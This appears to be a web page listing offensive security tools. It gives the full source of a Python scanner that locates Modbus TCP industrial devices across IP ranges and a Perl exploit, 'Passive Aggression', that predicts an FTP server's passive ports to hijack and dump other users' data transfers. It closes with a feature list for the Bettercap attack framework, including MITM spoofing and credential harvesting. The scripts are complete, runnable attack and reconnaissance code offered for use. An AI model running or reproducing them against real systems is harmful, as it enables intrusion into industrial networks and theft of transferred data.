Modscan

Modbus TCP Scanner

#!/usr/bin/env python


"""

File: modscan.py
Desc: Modbus TCP Scanner
Version: 0.1

Copyright (c) 2008 Mark Bristow

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version either version 3 of the License, 
or (at your option) any later version.


This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <https://www.gnu.org/licenses/>.

"""

import socket
import array
import optparse
from IPy import IP
import sys

def main():

	p = optparse.OptionParser(	description=' Finds modbus devices in IP range and determines slave id.\nOutputs in ip:port <tab> sid format.',
								prog='modscan',
								version='modscan 0.1',
								usage = "usage: %prog [options] IPRange")
	p.add_option('--port', '-p', type='int', dest="port", default=502, help='modbus port DEFAULT:502')
	p.add_option('--timeout', '-t', type='int', dest="timeout", default=500, help='socket timeout (mills) DEFAULT:500')
	p.add_option('--aggressive', '-a', action ='store_true', help='continues checking past first found SID')
	p.add_option('--function', '-f', type='int', dest="function", default=17, help='MODBUS Function Code DEFAULT:17')
	p.add_option('--data', type='string', dest="fdata", help='MODBUS Function Data.  Unicode escaped "\x00\x01"')
	p.add_option('-v', '--verbose', action ='store_true', help='returns verbose output')
	p.add_option('-d', '--debug', action ='store_true', help='returns extremely verbose output')

	options, arguments = p.parse_args()

	#make sure we have at least 1 argument (IP Addresses)
	if len(arguments) == 1:

		#build basic packet for this test

		"""
		Modbus Packet Structure
		\x00\x00	\x00\x00	\x00\x00	\x11		\x00		<=================>
		Trans ID	ProtoID(0)	Length		UnitID		FunctCode	Data len(0-253byte)
		"""

		#this must be stored in a unsigned byte aray so we can make the assignment later... no string[] in python :(
		rsid = array.array('B')
		rsid.fromstring("\x00\x00\x00\x00\x00\x02\x01\x01")

		#set function
		rsid[7]=options.function

		#add function data
		if (options.fdata):
			aFData = array.array('B')

			#we must decode the escaped unicode before calling fromstring otherwise the literal \xXX will be interpreted
			aFData.fromstring(options.fdata.decode('unicode-escape') )
			rsid += aFData
			
			#update length
			rsid[5]=len(aFData)+2

		#assign IP range
		iprange=IP(arguments[0])
		
		#print friendly user message
		print "Starting Scan..."

		#primary loop over IP addresses
		for ip in iprange:
		
			#print str(ip)+" made it"
			#loop over possible sid values (1-247)
			for sid in range (1, 247):	
			
				#error messaging
				fError=0
				msg = str(ip)+":"+str(options.port)+"\t"+str(sid)
				
				#print "msg="+msg

				#Wrap connect in a try box
				try:
					#socket object instantiation
					s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

					#set socket timeout, value from cmd is in mills
					s.settimeout(float(options.timeout) / float(1000))			

					#connect requires ip addresses in string format so it must be cast
					s.connect((str(ip), options.port))

				except socket.error:
					#clean up
					fError=1
					msg += "\tFAILED TO CONNECT"
					s.close()
					break
				#end try
				

				#send query to device
				try:
					#set slave id
					rsid[6]=sid		

					#send data to device
					s.send(rsid)
					
				except socket.error:
					#failed send close socket
					fError=1
					msg += "\tFAILED TO SEND"
					s.close()
					break
				#end try
				
				try:

					#recieve data
					data = s.recv(1024)
					
				except socket.timeout:
					fError=1
					msg += "\tFAILED TO RECV"
					break
				#end try

				#examine response
				if data:
					#parse response
					resp = array.array('B')
					resp.fromstring(data)

					if (options.debug):
						print "Recieved: "+str(resp)
						print (int(resp[7]) == int(options.function))

					#if the function matches the one sent we are all good
					if (int(resp[7]) == int(options.function)):
						print msg
						
						#in aggressive mode we keep going
						if (not options.aggressive):
							break
							
					#If the function matches the one sent + 0x80 a positive response error code is detected
					elif int(resp[7]) == (int(options.function)+128):
						#if debug output message
						msg += "\tPositive Error Response"
						if (options.debug):
							print msg							
					else:
						#if debug output message
						if (options.debug):
							print msg					
				else:
					fError=1
					msg += "\tFAILED TO RECIEVE"
					s.close()
					break
				
			#end SID for
			

			#report based on verbosity
			if (options.verbose and fError):
				print msg
			elif (options.debug):
				print msg
		#end IP for
				
		#close socket, no longer needed
		#s.shutdown(socket.SHUT_RDWR)
		s.close()
		
		print "Scan Complete."

	#bad number of arguments.  print help
	else:
		p.print_help()
	

if __name__ == '__main__':
	try : main()
	except KeyboardInterrupt:
		print "Scan canceled by user."
		print "Thank you for using ModScan"
	except :
		sys.exit()


Passive Aggression v1.0

Exploits FTP servers using passive mode to transfer data.

#!/usr/bin/perl
###############
#
# Passive Aggression v1.0
#
# Exploits FTP servers using passive mdoe to transfer data.
# 
# Usage:  ./pasvagg.pl ftp.cdrom.com anonymous h4x0r@hotmail.com
#
# Copyright (C) 2000 H.D. Moore <hdm@digitaloffense.net>
#
# https://www.digitaloffense.net/
#
##

use IO::Socket;
use IO::Select;

sub usage {
    print "Usage: $0 [hostname] <username> <password>\n";
    exit(-1);
}

sub scanport {
    my ($port) = @_;
    my $s;
    
    $s = IO::Socket::INET->new (        PeerAddr    => $host,
                                        PeerPort    => $port,
                                        Proto       => "tcp",
                                        Type        => SOCK_STREAM
                                    ) || return;
    if (fork())
    {
        return;
    } else {
        $bytes = 0;
        $reader = 0;
        $SIG{'INT'} = 'IGNORE';
        $filename = "$host-$port.dmp";
        
        my $sel = IO::Select->new();
        $sel->add($s);
        
        @ready = $sel->can_read(5);
        foreach $fh (@ready)
        {
            $data = <$fh>;
            if (length($data) == 0) { next; }
            $bytes += length($data);
            print "\n:: reader ".length($data)." found on $host:$port\n";
            $reader++;
            open (DMP, ">".$filename) || die "could not create dump file:  $!";
            print DMP $data;
            $sel->remove if eof($fh);
        }

        
        if ($reader)
        {
            $0 = "PASV Aggression: downloading from $host:$port";
            while ($line = <$s>)
            {
                $bytes += length($line);
                print DMP $line;
            }
            close(DMP);
            print "\n:: finished transfer of $bytes bytes from $host:$port\n";
        } else {
           print "\n:: ?writer? found on port $port\n"; 
           print $s "REAPER\r\n";
        }
        close($s);

        exit;
    } 
}

sub LoginToServer {
    my ($socket) = @_;
    my @ready;
    my $fh;
    
    $response = <$socket>;
    chomp($response);

    if ($response !~ m/^220/)
    {
        print "server gave us a bad response:  $response\n";
        close($socket);
        exit;
    }
    print ">> $response\n";
    print ":: logging into server as $username.\n";

    print $socket "USER $username\r\n";

    $response = <$socket>;
    chomp($response);
    while ($response !~ m/^331/)
    {
        if ($response =~ m/^5/)
        {
            print ":: ERROR:\n";
            print ">> $response\n";
            exit;
        }
        print ">> $response\n";
        $response = <$socket>;
        chomp($response);
    }
    print ">> $response\n";
    
    
    print $socket "PASS $password\r\n";
    $response = <$socket>;
    chomp($response);
    while ($response !~ m/^230/)
    {
        if ($response !~ m/^2/)
        {
            print ":: ERROR:\n";
            print ">> $response\n";
            exit;
        }
        print ">> $response\n";
        $response = <$socket>;
        chomp($response);
    }
    print ">> $response\n";
    
    print $socket "PASV\r\n";
    $response = <$socket>;
    chomp($response);
    while ($response !~ m/^227/)
    {
        if ($response !~ m/^2/)
        {
            print ":: ERROR:\n";
            print ">> $response\n";
            exit;
        }
        print ">> $response\n";
        $response = <$socket>;
        chomp($response);
    }
    print ">> $response\n";
    print ":: server ready for passive attack\n";
}

sub GetCurrentPort { 
    my ($socket) = @_;
    my $PORT;
    my (@address,$p1, $p2);
    
    print $socket "PASV\r\n";
    $response = <$socket>;
    chomp($response); 
    $response =~ m/(\(.*)/;
    $PORT = $1;
    $PORT =~ s/\(|\)|\.//g;
    ($address[0],$address[1],$address[2],$address[3],$p1,$p2) = split(/\,/,$PORT);
    $ip = join(".", @address);
    return DecodePort($p1,$p2);
}

sub DecodePort {
    my ($p1,$p2) = @_;
    return unpack "N", pack "B32","0" x 16 . substr((unpack "B32",pack "N", $p1),24,8).substr((unpack "B32",pack "N", $p2),24,8);
   
}

###################
#      MAIN       #
###################

$host = shift() || usage();
$username = shift() || "anonymous";
$password = shift() || "mozilla\@";


$| = 1;
@PortSample = ();
$CmdLatency = 0;
$now = 0;
$0 = "PASV Aggression: control process";

$socket = IO::Socket::INET->new (   PeerAddr    => $host,
                                    PeerPort    => 21,
                                    Proto       => "tcp",
                                    Type        => SOCK_STREAM
                                ) || die "could not connect to server:  $!";       
print ":: connected to $host\n";
LoginToServer($socket);



print ":: sampling passive port selection\n";
for ($cnt = 0; $cnt < 10; $cnt ++)
{
    $now = time();
    $PortSample[$cnt] = GetCurrentPort($socket);
    $CmdLatency += time() - $now;
    sleep(1);
}
if ($PortSample[0] > $PortSample[9])
{
    $rate = (($PortSample[9] + 65535) - $PortSample[0]) / 10;   
} else {
    $rate = (($PortSample[9]) - $PortSample[0]) / 10;
}
$latency = $CmdLatency / 10;

print ":: passive connection rate = $rate/sec\n";
print ":: passive command latency = $latency seconds\n";
print ":: starting the reaper engine\n\n";

while (1)
{
    $start = sprintf("%d", ($rate * $latency) + GetCurrentPort($socket));
    print "\r                                             ";
    print "\r:: starting port $start\n";
    for ($port = $start; $port < $start + 15; $port++)
    {
        print "\r                                             ";
        print "\r:: scanning port ($port)";
        scanport($port);
    }
}
Bettercap

Bettercap is a powerful, easily extensible and portable framework written in Go which aims to offer to security researchers, red teamers and reverse engineers an easy to useall-in-one solution with all the features they might possibly need for performing reconnaissance and attacking WiFi networks, Bluetooth Low Energy devices, wireless HID devices and Ethernet networks.

Main Features

  • WiFi networks scanning, deauthentication attackclientless PMKID association attack and automatic WPA/WPA2 client handshakes capture.
  • Bluetooth Low Energy devices scanning, characteristics enumeration, reading and writing.
  • 2.4Ghz wireless devices scanning and MouseJacking attacks with over-the-air HID frames injection (with DuckyScript support).
  • Passive and active IP network hosts probing and recon.
  • ARP, DNS and DHCPv6 spoofers for MITM attacks on IP based networks.
  • Proxies at packet level, TCP level and HTTP/HTTPS application level fully scriptable with easy to implement javascript plugins.
  • A powerful network sniffer for credentials harvesting which can also be used as a network protocol fuzzer.
  • A very fast port scanner.
  • A powerful REST API with support for asynchronous events notification on websocket to orchestrate your attacks easily.

https://github.com/bettercap/bettercap